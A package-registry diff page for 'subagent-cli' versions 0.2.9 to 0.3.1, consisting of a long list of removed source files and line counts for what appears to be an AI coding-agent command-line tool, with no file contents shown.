subagent-cli 0.2.9 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2149) hide show
  1. package/dist/cli.cjs +30 -34
  2. package/dist/sa +0 -0
  3. package/package.json +4 -9
  4. package/bin/sa.js +0 -4
  5. package/bunfig.toml +0 -2
  6. package/src/QueryEngine.ts +0 -1295
  7. package/src/Task.ts +0 -125
  8. package/src/Tool.ts +0 -792
  9. package/src/_stubs/bun-bundle.ts +0 -6
  10. package/src/assistant/AssistantSessionChooser.ts +0 -2
  11. package/src/assistant/gate.ts +0 -2
  12. package/src/assistant/index.ts +0 -2
  13. package/src/assistant/sessionDiscovery.ts +0 -1
  14. package/src/assistant/sessionHistory.ts +0 -87
  15. package/src/bootstrap/state.ts +0 -1762
  16. package/src/bridge/bridgeApi.ts +0 -539
  17. package/src/bridge/bridgeConfig.ts +0 -48
  18. package/src/bridge/bridgeDebug.ts +0 -135
  19. package/src/bridge/bridgeEnabled.ts +0 -202
  20. package/src/bridge/bridgeMain.ts +0 -2999
  21. package/src/bridge/bridgeMessaging.ts +0 -461
  22. package/src/bridge/bridgePermissionCallbacks.ts +0 -43
  23. package/src/bridge/bridgePointer.ts +0 -210
  24. package/src/bridge/bridgeStatusUtil.ts +0 -163
  25. package/src/bridge/bridgeUI.ts +0 -530
  26. package/src/bridge/capacityWake.ts +0 -56
  27. package/src/bridge/codeSessionApi.ts +0 -168
  28. package/src/bridge/createSession.ts +0 -384
  29. package/src/bridge/debugUtils.ts +0 -141
  30. package/src/bridge/envLessBridgeConfig.ts +0 -165
  31. package/src/bridge/flushGate.ts +0 -71
  32. package/src/bridge/inboundAttachments.ts +0 -175
  33. package/src/bridge/inboundMessages.ts +0 -80
  34. package/src/bridge/initReplBridge.ts +0 -569
  35. package/src/bridge/jwtUtils.ts +0 -256
  36. package/src/bridge/peerSessions.ts +0 -2
  37. package/src/bridge/pollConfig.ts +0 -110
  38. package/src/bridge/pollConfigDefaults.ts +0 -82
  39. package/src/bridge/remoteBridgeCore.ts +0 -1008
  40. package/src/bridge/replBridge.ts +0 -2406
  41. package/src/bridge/replBridgeHandle.ts +0 -36
  42. package/src/bridge/replBridgeTransport.ts +0 -370
  43. package/src/bridge/sessionIdCompat.ts +0 -57
  44. package/src/bridge/sessionRunner.ts +0 -550
  45. package/src/bridge/trustedDevice.ts +0 -210
  46. package/src/bridge/types.ts +0 -262
  47. package/src/bridge/webhookSanitizer.ts +0 -2
  48. package/src/bridge/workSecret.ts +0 -127
  49. package/src/buddy/CompanionSprite.tsx +0 -371
  50. package/src/buddy/companion.ts +0 -133
  51. package/src/buddy/prompt.ts +0 -36
  52. package/src/buddy/sprites.ts +0 -514
  53. package/src/buddy/types.ts +0 -148
  54. package/src/buddy/useBuddyNotification.tsx +0 -98
  55. package/src/cli/bg.ts +0 -2
  56. package/src/cli/exit.ts +0 -31
  57. package/src/cli/handlers/agents.ts +0 -70
  58. package/src/cli/handlers/ant.ts +0 -2
  59. package/src/cli/handlers/auth.ts +0 -330
  60. package/src/cli/handlers/autoMode.ts +0 -170
  61. package/src/cli/handlers/mcp.tsx +0 -362
  62. package/src/cli/handlers/plugins.ts +0 -878
  63. package/src/cli/handlers/templateJobs.ts +0 -2
  64. package/src/cli/handlers/util.tsx +0 -110
  65. package/src/cli/ndjsonSafeStringify.ts +0 -32
  66. package/src/cli/print.ts +0 -5594
  67. package/src/cli/remoteIO.ts +0 -255
  68. package/src/cli/rollback.ts +0 -3
  69. package/src/cli/structuredIO.ts +0 -859
  70. package/src/cli/transports/HybridTransport.ts +0 -282
  71. package/src/cli/transports/SSETransport.ts +0 -711
  72. package/src/cli/transports/SerialBatchEventUploader.ts +0 -275
  73. package/src/cli/transports/Transport.ts +0 -1
  74. package/src/cli/transports/WebSocketTransport.ts +0 -800
  75. package/src/cli/transports/WorkerStateUploader.ts +0 -131
  76. package/src/cli/transports/ccrClient.ts +0 -998
  77. package/src/cli/transports/transportUtils.ts +0 -45
  78. package/src/cli/up.ts +0 -3
  79. package/src/cli/update.ts +0 -422
  80. package/src/commands/add-dir/add-dir.tsx +0 -126
  81. package/src/commands/add-dir/index.ts +0 -11
  82. package/src/commands/add-dir/validation.ts +0 -110
  83. package/src/commands/advisor.ts +0 -109
  84. package/src/commands/agents/agents.tsx +0 -12
  85. package/src/commands/agents/index.ts +0 -10
  86. package/src/commands/ant-trace/index.js +0 -1
  87. package/src/commands/assistant/assistant.ts +0 -2
  88. package/src/commands/autofix-pr/index.js +0 -1
  89. package/src/commands/backfill-sessions/index.js +0 -1
  90. package/src/commands/branch/branch.ts +0 -296
  91. package/src/commands/branch/index.ts +0 -14
  92. package/src/commands/break-cache/index.js +0 -1
  93. package/src/commands/bridge/bridge.tsx +0 -509
  94. package/src/commands/bridge/index.ts +0 -26
  95. package/src/commands/bridge-kick.ts +0 -200
  96. package/src/commands/brief.ts +0 -130
  97. package/src/commands/btw/btw.tsx +0 -243
  98. package/src/commands/btw/index.ts +0 -13
  99. package/src/commands/buddy/index.ts +0 -2
  100. package/src/commands/bughunter/index.js +0 -1
  101. package/src/commands/chrome/chrome.tsx +0 -285
  102. package/src/commands/chrome/index.ts +0 -13
  103. package/src/commands/clear/caches.ts +0 -144
  104. package/src/commands/clear/clear.ts +0 -7
  105. package/src/commands/clear/conversation.ts +0 -251
  106. package/src/commands/clear/index.ts +0 -19
  107. package/src/commands/color/color.ts +0 -93
  108. package/src/commands/color/index.ts +0 -16
  109. package/src/commands/commit-push-pr.ts +0 -158
  110. package/src/commands/commit.ts +0 -92
  111. package/src/commands/compact/compact.ts +0 -287
  112. package/src/commands/compact/index.ts +0 -15
  113. package/src/commands/config/config.tsx +0 -7
  114. package/src/commands/config/index.ts +0 -11
  115. package/src/commands/context/context-noninteractive.ts +0 -325
  116. package/src/commands/context/context.tsx +0 -64
  117. package/src/commands/context/index.ts +0 -24
  118. package/src/commands/copy/copy.tsx +0 -371
  119. package/src/commands/copy/index.ts +0 -15
  120. package/src/commands/cost/cost.ts +0 -24
  121. package/src/commands/cost/index.ts +0 -23
  122. package/src/commands/createMovedToPluginCommand.ts +0 -65
  123. package/src/commands/ctx_viz/index.js +0 -1
  124. package/src/commands/debug-tool-call/index.js +0 -1
  125. package/src/commands/desktop/desktop.tsx +0 -9
  126. package/src/commands/desktop/index.ts +0 -26
  127. package/src/commands/diff/diff.tsx +0 -9
  128. package/src/commands/diff/index.ts +0 -8
  129. package/src/commands/doctor/doctor.tsx +0 -7
  130. package/src/commands/doctor/index.ts +0 -12
  131. package/src/commands/effort/effort.tsx +0 -183
  132. package/src/commands/effort/index.ts +0 -13
  133. package/src/commands/env/index.js +0 -1
  134. package/src/commands/exit/exit.tsx +0 -33
  135. package/src/commands/exit/index.ts +0 -12
  136. package/src/commands/export/export.tsx +0 -91
  137. package/src/commands/export/index.ts +0 -11
  138. package/src/commands/extra-usage/extra-usage-core.ts +0 -118
  139. package/src/commands/extra-usage/extra-usage-noninteractive.ts +0 -16
  140. package/src/commands/extra-usage/extra-usage.tsx +0 -17
  141. package/src/commands/extra-usage/index.ts +0 -31
  142. package/src/commands/fast/fast.tsx +0 -269
  143. package/src/commands/fast/index.ts +0 -26
  144. package/src/commands/feedback/feedback.tsx +0 -25
  145. package/src/commands/feedback/index.ts +0 -26
  146. package/src/commands/files/files.ts +0 -19
  147. package/src/commands/files/index.ts +0 -12
  148. package/src/commands/fork/index.ts +0 -2
  149. package/src/commands/good-claude/index.js +0 -1
  150. package/src/commands/heapdump/heapdump.ts +0 -17
  151. package/src/commands/heapdump/index.ts +0 -12
  152. package/src/commands/help/help.tsx +0 -11
  153. package/src/commands/help/index.ts +0 -10
  154. package/src/commands/hooks/hooks.tsx +0 -13
  155. package/src/commands/hooks/index.ts +0 -11
  156. package/src/commands/ide/ide.tsx +0 -646
  157. package/src/commands/ide/index.ts +0 -11
  158. package/src/commands/init-verifiers.ts +0 -262
  159. package/src/commands/init.ts +0 -256
  160. package/src/commands/insights.ts +0 -3200
  161. package/src/commands/install-github-app/ApiKeyStep.tsx +0 -231
  162. package/src/commands/install-github-app/CheckExistingSecretStep.tsx +0 -190
  163. package/src/commands/install-github-app/CheckGitHubStep.tsx +0 -15
  164. package/src/commands/install-github-app/ChooseRepoStep.tsx +0 -211
  165. package/src/commands/install-github-app/CreatingStep.tsx +0 -65
  166. package/src/commands/install-github-app/ErrorStep.tsx +0 -85
  167. package/src/commands/install-github-app/ExistingWorkflowStep.tsx +0 -103
  168. package/src/commands/install-github-app/InstallAppStep.tsx +0 -94
  169. package/src/commands/install-github-app/OAuthFlowStep.tsx +0 -276
  170. package/src/commands/install-github-app/SuccessStep.tsx +0 -96
  171. package/src/commands/install-github-app/WarningsStep.tsx +0 -73
  172. package/src/commands/install-github-app/index.ts +0 -13
  173. package/src/commands/install-github-app/install-github-app.tsx +0 -587
  174. package/src/commands/install-github-app/setupGitHubActions.ts +0 -325
  175. package/src/commands/install-github-app/types.ts +0 -3
  176. package/src/commands/install-slack-app/index.ts +0 -12
  177. package/src/commands/install-slack-app/install-slack-app.ts +0 -30
  178. package/src/commands/install.tsx +0 -300
  179. package/src/commands/issue/index.js +0 -1
  180. package/src/commands/keybindings/index.ts +0 -13
  181. package/src/commands/keybindings/keybindings.ts +0 -53
  182. package/src/commands/login/index.ts +0 -14
  183. package/src/commands/login/login.tsx +0 -104
  184. package/src/commands/logout/index.ts +0 -10
  185. package/src/commands/logout/logout.tsx +0 -82
  186. package/src/commands/mcp/addCommand.ts +0 -280
  187. package/src/commands/mcp/index.ts +0 -12
  188. package/src/commands/mcp/mcp.tsx +0 -85
  189. package/src/commands/mcp/xaaIdpCommand.ts +0 -266
  190. package/src/commands/memory/index.ts +0 -10
  191. package/src/commands/memory/memory.tsx +0 -90
  192. package/src/commands/mobile/index.ts +0 -11
  193. package/src/commands/mobile/mobile.tsx +0 -274
  194. package/src/commands/mock-limits/index.js +0 -1
  195. package/src/commands/model/index.ts +0 -16
  196. package/src/commands/model/model.tsx +0 -297
  197. package/src/commands/oauth-refresh/index.js +0 -1
  198. package/src/commands/onboarding/index.js +0 -1
  199. package/src/commands/output-style/index.ts +0 -11
  200. package/src/commands/output-style/output-style.tsx +0 -7
  201. package/src/commands/passes/index.ts +0 -22
  202. package/src/commands/passes/passes.tsx +0 -24
  203. package/src/commands/peers/index.ts +0 -2
  204. package/src/commands/perf-issue/index.js +0 -1
  205. package/src/commands/permissions/index.ts +0 -11
  206. package/src/commands/permissions/permissions.tsx +0 -10
  207. package/src/commands/plan/index.ts +0 -11
  208. package/src/commands/plan/plan.tsx +0 -122
  209. package/src/commands/plugin/AddMarketplace.tsx +0 -162
  210. package/src/commands/plugin/BrowseMarketplace.tsx +0 -802
  211. package/src/commands/plugin/DiscoverPlugins.tsx +0 -781
  212. package/src/commands/plugin/ManageMarketplaces.tsx +0 -838
  213. package/src/commands/plugin/ManagePlugins.tsx +0 -2215
  214. package/src/commands/plugin/PluginErrors.tsx +0 -124
  215. package/src/commands/plugin/PluginOptionsDialog.tsx +0 -357
  216. package/src/commands/plugin/PluginOptionsFlow.tsx +0 -135
  217. package/src/commands/plugin/PluginSettings.tsx +0 -1072
  218. package/src/commands/plugin/PluginTrustWarning.tsx +0 -32
  219. package/src/commands/plugin/UnifiedInstalledCell.tsx +0 -565
  220. package/src/commands/plugin/ValidatePlugin.tsx +0 -98
  221. package/src/commands/plugin/index.tsx +0 -11
  222. package/src/commands/plugin/parseArgs.ts +0 -103
  223. package/src/commands/plugin/plugin.tsx +0 -7
  224. package/src/commands/plugin/pluginDetailsHelpers.tsx +0 -117
  225. package/src/commands/plugin/types.ts +0 -2
  226. package/src/commands/plugin/unifiedTypes.ts +0 -4
  227. package/src/commands/plugin/usePagination.ts +0 -171
  228. package/src/commands/pr_comments/index.ts +0 -50
  229. package/src/commands/privacy-settings/index.ts +0 -14
  230. package/src/commands/privacy-settings/privacy-settings.tsx +0 -58
  231. package/src/commands/rate-limit-options/index.ts +0 -19
  232. package/src/commands/rate-limit-options/rate-limit-options.tsx +0 -210
  233. package/src/commands/release-notes/index.ts +0 -11
  234. package/src/commands/release-notes/release-notes.ts +0 -50
  235. package/src/commands/reload-plugins/index.ts +0 -18
  236. package/src/commands/reload-plugins/reload-plugins.ts +0 -61
  237. package/src/commands/remote-env/index.ts +0 -15
  238. package/src/commands/remote-env/remote-env.tsx +0 -7
  239. package/src/commands/remote-setup/api.ts +0 -182
  240. package/src/commands/remote-setup/index.ts +0 -20
  241. package/src/commands/remote-setup/remote-setup.tsx +0 -187
  242. package/src/commands/rename/generateSessionName.ts +0 -67
  243. package/src/commands/rename/index.ts +0 -12
  244. package/src/commands/rename/rename.ts +0 -87
  245. package/src/commands/reset-limits/index.js +0 -4
  246. package/src/commands/resume/index.ts +0 -12
  247. package/src/commands/resume/resume.tsx +0 -275
  248. package/src/commands/review/UltrareviewOverageDialog.tsx +0 -96
  249. package/src/commands/review/reviewRemote.ts +0 -316
  250. package/src/commands/review/ultrareviewCommand.tsx +0 -58
  251. package/src/commands/review/ultrareviewEnabled.ts +0 -14
  252. package/src/commands/review.ts +0 -57
  253. package/src/commands/rewind/index.ts +0 -13
  254. package/src/commands/rewind/rewind.ts +0 -13
  255. package/src/commands/sandbox-toggle/index.ts +0 -50
  256. package/src/commands/sandbox-toggle/sandbox-toggle.tsx +0 -83
  257. package/src/commands/security-review.ts +0 -243
  258. package/src/commands/session/index.ts +0 -16
  259. package/src/commands/session/session.tsx +0 -140
  260. package/src/commands/share/index.js +0 -1
  261. package/src/commands/skills/index.ts +0 -10
  262. package/src/commands/skills/skills.tsx +0 -8
  263. package/src/commands/stats/index.ts +0 -10
  264. package/src/commands/stats/stats.tsx +0 -7
  265. package/src/commands/status/index.ts +0 -12
  266. package/src/commands/status/status.tsx +0 -8
  267. package/src/commands/statusline.tsx +0 -24
  268. package/src/commands/stickers/index.ts +0 -11
  269. package/src/commands/stickers/stickers.ts +0 -16
  270. package/src/commands/summary/index.js +0 -1
  271. package/src/commands/tag/index.ts +0 -12
  272. package/src/commands/tag/tag.tsx +0 -215
  273. package/src/commands/tasks/index.ts +0 -11
  274. package/src/commands/tasks/tasks.tsx +0 -8
  275. package/src/commands/teleport/index.js +0 -1
  276. package/src/commands/terminalSetup/index.ts +0 -23
  277. package/src/commands/terminalSetup/terminalSetup.tsx +0 -531
  278. package/src/commands/theme/index.ts +0 -10
  279. package/src/commands/theme/theme.tsx +0 -57
  280. package/src/commands/thinkback/index.ts +0 -13
  281. package/src/commands/thinkback/thinkback.tsx +0 -554
  282. package/src/commands/thinkback-play/index.ts +0 -17
  283. package/src/commands/thinkback-play/thinkback-play.ts +0 -43
  284. package/src/commands/ultraplan.tsx +0 -471
  285. package/src/commands/upgrade/index.ts +0 -16
  286. package/src/commands/upgrade/upgrade.tsx +0 -38
  287. package/src/commands/usage/index.ts +0 -9
  288. package/src/commands/usage/usage.tsx +0 -7
  289. package/src/commands/version.ts +0 -22
  290. package/src/commands/vim/index.ts +0 -11
  291. package/src/commands/vim/vim.ts +0 -38
  292. package/src/commands/voice/index.ts +0 -20
  293. package/src/commands/voice/voice.ts +0 -150
  294. package/src/commands/workflows/index.ts +0 -2
  295. package/src/commands.ts +0 -754
  296. package/src/components/AgentProgressLine.tsx +0 -136
  297. package/src/components/App.tsx +0 -56
  298. package/src/components/ApproveApiKey.tsx +0 -123
  299. package/src/components/AutoModeOptInDialog.tsx +0 -142
  300. package/src/components/AutoUpdater.tsx +0 -198
  301. package/src/components/AutoUpdaterWrapper.tsx +0 -91
  302. package/src/components/AwsAuthStatusBox.tsx +0 -82
  303. package/src/components/BaseTextInput.tsx +0 -136
  304. package/src/components/BashModeProgress.tsx +0 -56
  305. package/src/components/BridgeDialog.tsx +0 -401
  306. package/src/components/BypassPermissionsModeDialog.tsx +0 -87
  307. package/src/components/ChannelDowngradeDialog.tsx +0 -102
  308. package/src/components/ClaudeCodeHint/PluginHintMenu.tsx +0 -78
  309. package/src/components/ClaudeInChromeOnboarding.tsx +0 -121
  310. package/src/components/ClaudeMdExternalIncludesDialog.tsx +0 -137
  311. package/src/components/ClickableImageRef.tsx +0 -73
  312. package/src/components/CompactSummary.tsx +0 -118
  313. package/src/components/ConfigurableShortcutHint.tsx +0 -57
  314. package/src/components/ConsoleOAuthFlow.tsx +0 -631
  315. package/src/components/ContextSuggestions.tsx +0 -47
  316. package/src/components/ContextVisualization.tsx +0 -489
  317. package/src/components/CoordinatorAgentStatus.tsx +0 -273
  318. package/src/components/CostThresholdDialog.tsx +0 -50
  319. package/src/components/CtrlOToExpand.tsx +0 -51
  320. package/src/components/CustomSelect/SelectMulti.tsx +0 -213
  321. package/src/components/CustomSelect/index.ts +0 -3
  322. package/src/components/CustomSelect/option-map.ts +0 -50
  323. package/src/components/CustomSelect/select-input-option.tsx +0 -488
  324. package/src/components/CustomSelect/select-option.tsx +0 -68
  325. package/src/components/CustomSelect/select.tsx +0 -690
  326. package/src/components/CustomSelect/use-multi-select-state.ts +0 -414
  327. package/src/components/CustomSelect/use-select-input.ts +0 -287
  328. package/src/components/CustomSelect/use-select-navigation.ts +0 -653
  329. package/src/components/CustomSelect/use-select-state.ts +0 -157
  330. package/src/components/DesktopHandoff.tsx +0 -193
  331. package/src/components/DesktopUpsell/DesktopUpsellStartup.tsx +0 -171
  332. package/src/components/DevBar.tsx +0 -49
  333. package/src/components/DevChannelsDialog.tsx +0 -105
  334. package/src/components/DiagnosticsDisplay.tsx +0 -95
  335. package/src/components/EffortCallout.tsx +0 -265
  336. package/src/components/EffortIndicator.ts +0 -42
  337. package/src/components/ExitFlow.tsx +0 -48
  338. package/src/components/ExportDialog.tsx +0 -128
  339. package/src/components/FallbackToolUseErrorMessage.tsx +0 -116
  340. package/src/components/FallbackToolUseRejectedMessage.tsx +0 -16
  341. package/src/components/FastIcon.tsx +0 -46
  342. package/src/components/Feedback.tsx +0 -592
  343. package/src/components/FeedbackSurvey/FeedbackSurvey.tsx +0 -174
  344. package/src/components/FeedbackSurvey/FeedbackSurveyView.tsx +0 -108
  345. package/src/components/FeedbackSurvey/TranscriptSharePrompt.tsx +0 -88
  346. package/src/components/FeedbackSurvey/submitTranscriptShare.ts +0 -112
  347. package/src/components/FeedbackSurvey/useDebouncedDigitInput.ts +0 -82
  348. package/src/components/FeedbackSurvey/useFeedbackSurvey.tsx +0 -296
  349. package/src/components/FeedbackSurvey/useFrustrationDetection.ts +0 -2
  350. package/src/components/FeedbackSurvey/useMemorySurvey.tsx +0 -213
  351. package/src/components/FeedbackSurvey/usePostCompactSurvey.tsx +0 -206
  352. package/src/components/FeedbackSurvey/useSurveyState.tsx +0 -100
  353. package/src/components/FeedbackSurvey/utils.ts +0 -2
  354. package/src/components/FileEditToolDiff.tsx +0 -181
  355. package/src/components/FileEditToolUpdatedMessage.tsx +0 -124
  356. package/src/components/FileEditToolUseRejectedMessage.tsx +0 -170
  357. package/src/components/FilePathLink.tsx +0 -43
  358. package/src/components/FullscreenLayout.tsx +0 -637
  359. package/src/components/GlobalSearchDialog.tsx +0 -343
  360. package/src/components/HelpV2/Commands.tsx +0 -82
  361. package/src/components/HelpV2/General.tsx +0 -23
  362. package/src/components/HelpV2/HelpV2.tsx +0 -184
  363. package/src/components/HighlightedCode/Fallback.tsx +0 -193
  364. package/src/components/HighlightedCode.tsx +0 -190
  365. package/src/components/HistorySearchDialog.tsx +0 -118
  366. package/src/components/IdeAutoConnectDialog.tsx +0 -154
  367. package/src/components/IdeOnboardingDialog.tsx +0 -167
  368. package/src/components/IdeStatusIndicator.tsx +0 -58
  369. package/src/components/IdleReturnDialog.tsx +0 -118
  370. package/src/components/InterruptedByUser.tsx +0 -15
  371. package/src/components/InvalidConfigDialog.tsx +0 -156
  372. package/src/components/InvalidSettingsDialog.tsx +0 -89
  373. package/src/components/KeybindingWarnings.tsx +0 -55
  374. package/src/components/LanguagePicker.tsx +0 -86
  375. package/src/components/LogSelector.tsx +0 -1575
  376. package/src/components/LogoV2/AnimatedAsterisk.tsx +0 -50
  377. package/src/components/LogoV2/AnimatedClawd.tsx +0 -124
  378. package/src/components/LogoV2/ChannelsNotice.tsx +0 -266
  379. package/src/components/LogoV2/Clawd.tsx +0 -25
  380. package/src/components/LogoV2/CondensedLogo.tsx +0 -161
  381. package/src/components/LogoV2/EmergencyTip.tsx +0 -58
  382. package/src/components/LogoV2/Feed.tsx +0 -112
  383. package/src/components/LogoV2/FeedColumn.tsx +0 -59
  384. package/src/components/LogoV2/GuestPassesUpsell.tsx +0 -70
  385. package/src/components/LogoV2/LogoV2.tsx +0 -543
  386. package/src/components/LogoV2/Opus1mMergeNotice.tsx +0 -55
  387. package/src/components/LogoV2/OverageCreditUpsell.tsx +0 -166
  388. package/src/components/LogoV2/VoiceModeNotice.tsx +0 -68
  389. package/src/components/LogoV2/WelcomeV2.tsx +0 -433
  390. package/src/components/LogoV2/feedConfigs.tsx +0 -92
  391. package/src/components/LspRecommendation/LspRecommendationMenu.tsx +0 -88
  392. package/src/components/MCPServerApprovalDialog.tsx +0 -115
  393. package/src/components/MCPServerDesktopImportDialog.tsx +0 -203
  394. package/src/components/MCPServerDialogCopy.tsx +0 -15
  395. package/src/components/MCPServerMultiselectDialog.tsx +0 -133
  396. package/src/components/ManagedSettingsSecurityDialog/ManagedSettingsSecurityDialog.tsx +0 -149
  397. package/src/components/ManagedSettingsSecurityDialog/utils.ts +0 -144
  398. package/src/components/Markdown.tsx +0 -236
  399. package/src/components/MarkdownTable.tsx +0 -322
  400. package/src/components/MemoryUsageIndicator.tsx +0 -37
  401. package/src/components/Message.tsx +0 -627
  402. package/src/components/MessageModel.tsx +0 -43
  403. package/src/components/MessageResponse.tsx +0 -78
  404. package/src/components/MessageRow.tsx +0 -383
  405. package/src/components/MessageSelector.tsx +0 -831
  406. package/src/components/MessageTimestamp.tsx +0 -63
  407. package/src/components/Messages.tsx +0 -834
  408. package/src/components/ModelPicker.tsx +0 -448
  409. package/src/components/NativeAutoUpdater.tsx +0 -193
  410. package/src/components/NotebookEditToolUseRejectedMessage.tsx +0 -92
  411. package/src/components/OffscreenFreeze.tsx +0 -44
  412. package/src/components/Onboarding.tsx +0 -244
  413. package/src/components/OutputStylePicker.tsx +0 -112
  414. package/src/components/PackageManagerAutoUpdater.tsx +0 -104
  415. package/src/components/Passes/Passes.tsx +0 -184
  416. package/src/components/PrBadge.tsx +0 -97
  417. package/src/components/PressEnterToContinue.tsx +0 -15
  418. package/src/components/PromptInput/HistorySearchInput.tsx +0 -51
  419. package/src/components/PromptInput/IssueFlagBanner.tsx +0 -12
  420. package/src/components/PromptInput/Notifications.tsx +0 -332
  421. package/src/components/PromptInput/PromptInput.tsx +0 -2339
  422. package/src/components/PromptInput/PromptInputFooter.tsx +0 -191
  423. package/src/components/PromptInput/PromptInputFooterLeftSide.tsx +0 -517
  424. package/src/components/PromptInput/PromptInputFooterSuggestions.tsx +0 -293
  425. package/src/components/PromptInput/PromptInputHelpMenu.tsx +0 -358
  426. package/src/components/PromptInput/PromptInputModeIndicator.tsx +0 -93
  427. package/src/components/PromptInput/PromptInputQueuedCommands.tsx +0 -117
  428. package/src/components/PromptInput/PromptInputStashNotice.tsx +0 -25
  429. package/src/components/PromptInput/SandboxPromptFooterHint.tsx +0 -64
  430. package/src/components/PromptInput/ShimmeredInput.tsx +0 -143
  431. package/src/components/PromptInput/VoiceIndicator.tsx +0 -137
  432. package/src/components/PromptInput/inputModes.ts +0 -33
  433. package/src/components/PromptInput/inputPaste.ts +0 -90
  434. package/src/components/PromptInput/useMaybeTruncateInput.ts +0 -58
  435. package/src/components/PromptInput/usePromptInputPlaceholder.ts +0 -76
  436. package/src/components/PromptInput/useShowFastIconHint.ts +0 -31
  437. package/src/components/PromptInput/useSwarmBanner.ts +0 -155
  438. package/src/components/PromptInput/utils.ts +0 -60
  439. package/src/components/QuickOpenDialog.tsx +0 -244
  440. package/src/components/RemoteCallout.tsx +0 -76
  441. package/src/components/RemoteEnvironmentDialog.tsx +0 -340
  442. package/src/components/ResumeTask.tsx +0 -268
  443. package/src/components/SandboxViolationExpandedView.tsx +0 -99
  444. package/src/components/ScrollKeybindingHandler.tsx +0 -1012
  445. package/src/components/SearchBox.tsx +0 -72
  446. package/src/components/SentryErrorBoundary.ts +0 -28
  447. package/src/components/SessionBackgroundHint.tsx +0 -108
  448. package/src/components/SessionPreview.tsx +0 -194
  449. package/src/components/Settings/Config.tsx +0 -1822
  450. package/src/components/Settings/Settings.tsx +0 -137
  451. package/src/components/Settings/Status.tsx +0 -241
  452. package/src/components/Settings/Usage.tsx +0 -377
  453. package/src/components/ShowInIDEPrompt.tsx +0 -170
  454. package/src/components/SkillImprovementSurvey.tsx +0 -152
  455. package/src/components/Spinner/FlashingChar.tsx +0 -61
  456. package/src/components/Spinner/GlimmerMessage.tsx +0 -328
  457. package/src/components/Spinner/ShimmerChar.tsx +0 -36
  458. package/src/components/Spinner/SpinnerAnimationRow.tsx +0 -265
  459. package/src/components/Spinner/SpinnerGlyph.tsx +0 -80
  460. package/src/components/Spinner/TeammateSpinnerLine.tsx +0 -233
  461. package/src/components/Spinner/TeammateSpinnerTree.tsx +0 -272
  462. package/src/components/Spinner/index.ts +0 -10
  463. package/src/components/Spinner/teammateSelectHint.ts +0 -1
  464. package/src/components/Spinner/types.ts +0 -2
  465. package/src/components/Spinner/useShimmerAnimation.ts +0 -31
  466. package/src/components/Spinner/useStalledAnimation.ts +0 -75
  467. package/src/components/Spinner/utils.ts +0 -84
  468. package/src/components/Spinner.tsx +0 -562
  469. package/src/components/Stats.tsx +0 -1228
  470. package/src/components/StatusLine.tsx +0 -324
  471. package/src/components/StatusNotices.tsx +0 -55
  472. package/src/components/StructuredDiff/Fallback.tsx +0 -487
  473. package/src/components/StructuredDiff/colorDiff.ts +0 -37
  474. package/src/components/StructuredDiff.tsx +0 -190
  475. package/src/components/StructuredDiffList.tsx +0 -30
  476. package/src/components/TagTabs.tsx +0 -139
  477. package/src/components/TaskListV2.tsx +0 -378
  478. package/src/components/TeammateViewHeader.tsx +0 -82
  479. package/src/components/TeleportError.tsx +0 -189
  480. package/src/components/TeleportProgress.tsx +0 -140
  481. package/src/components/TeleportRepoMismatchDialog.tsx +0 -104
  482. package/src/components/TeleportResumeWrapper.tsx +0 -167
  483. package/src/components/TeleportStash.tsx +0 -116
  484. package/src/components/TextInput.tsx +0 -124
  485. package/src/components/ThemePicker.tsx +0 -333
  486. package/src/components/ThinkingToggle.tsx +0 -153
  487. package/src/components/TokenWarning.tsx +0 -179
  488. package/src/components/ToolUseLoader.tsx +0 -42
  489. package/src/components/TrustDialog/TrustDialog.tsx +0 -290
  490. package/src/components/TrustDialog/utils.ts +0 -245
  491. package/src/components/ValidationErrorsList.tsx +0 -148
  492. package/src/components/VimTextInput.tsx +0 -140
  493. package/src/components/VirtualMessageList.tsx +0 -1082
  494. package/src/components/WorkflowMultiselectDialog.tsx +0 -128
  495. package/src/components/WorktreeExitDialog.tsx +0 -231
  496. package/src/components/agents/AgentDetail.tsx +0 -220
  497. package/src/components/agents/AgentEditor.tsx +0 -178
  498. package/src/components/agents/AgentNavigationFooter.tsx +0 -26
  499. package/src/components/agents/AgentsList.tsx +0 -440
  500. package/src/components/agents/AgentsMenu.tsx +0 -800
  501. package/src/components/agents/ColorPicker.tsx +0 -112
  502. package/src/components/agents/ModelSelector.tsx +0 -68
  503. package/src/components/agents/SnapshotUpdateDialog.ts +0 -2
  504. package/src/components/agents/ToolSelector.tsx +0 -562
  505. package/src/components/agents/agentFileUtils.ts +0 -272
  506. package/src/components/agents/generateAgent.ts +0 -197
  507. package/src/components/agents/new-agent-creation/CreateAgentWizard.tsx +0 -97
  508. package/src/components/agents/new-agent-creation/types.ts +0 -1
  509. package/src/components/agents/new-agent-creation/wizard-steps/ColorStep.tsx +0 -84
  510. package/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.tsx +0 -378
  511. package/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.tsx +0 -74
  512. package/src/components/agents/new-agent-creation/wizard-steps/DescriptionStep.tsx +0 -123
  513. package/src/components/agents/new-agent-creation/wizard-steps/GenerateStep.tsx +0 -143
  514. package/src/components/agents/new-agent-creation/wizard-steps/LocationStep.tsx +0 -80
  515. package/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.tsx +0 -113
  516. package/src/components/agents/new-agent-creation/wizard-steps/MethodStep.tsx +0 -80
  517. package/src/components/agents/new-agent-creation/wizard-steps/ModelStep.tsx +0 -52
  518. package/src/components/agents/new-agent-creation/wizard-steps/PromptStep.tsx +0 -128
  519. package/src/components/agents/new-agent-creation/wizard-steps/ToolsStep.tsx +0 -61
  520. package/src/components/agents/new-agent-creation/wizard-steps/TypeStep.tsx +0 -103
  521. package/src/components/agents/types.ts +0 -27
  522. package/src/components/agents/utils.ts +0 -18
  523. package/src/components/agents/validateAgent.ts +0 -109
  524. package/src/components/design-system/Byline.tsx +0 -77
  525. package/src/components/design-system/Dialog.tsx +0 -138
  526. package/src/components/design-system/Divider.tsx +0 -149
  527. package/src/components/design-system/FuzzyPicker.tsx +0 -312
  528. package/src/components/design-system/KeyboardShortcutHint.tsx +0 -81
  529. package/src/components/design-system/ListItem.tsx +0 -244
  530. package/src/components/design-system/LoadingState.tsx +0 -94
  531. package/src/components/design-system/Pane.tsx +0 -77
  532. package/src/components/design-system/ProgressBar.tsx +0 -86
  533. package/src/components/design-system/Ratchet.tsx +0 -80
  534. package/src/components/design-system/StatusIcon.tsx +0 -95
  535. package/src/components/design-system/Tabs.tsx +0 -340
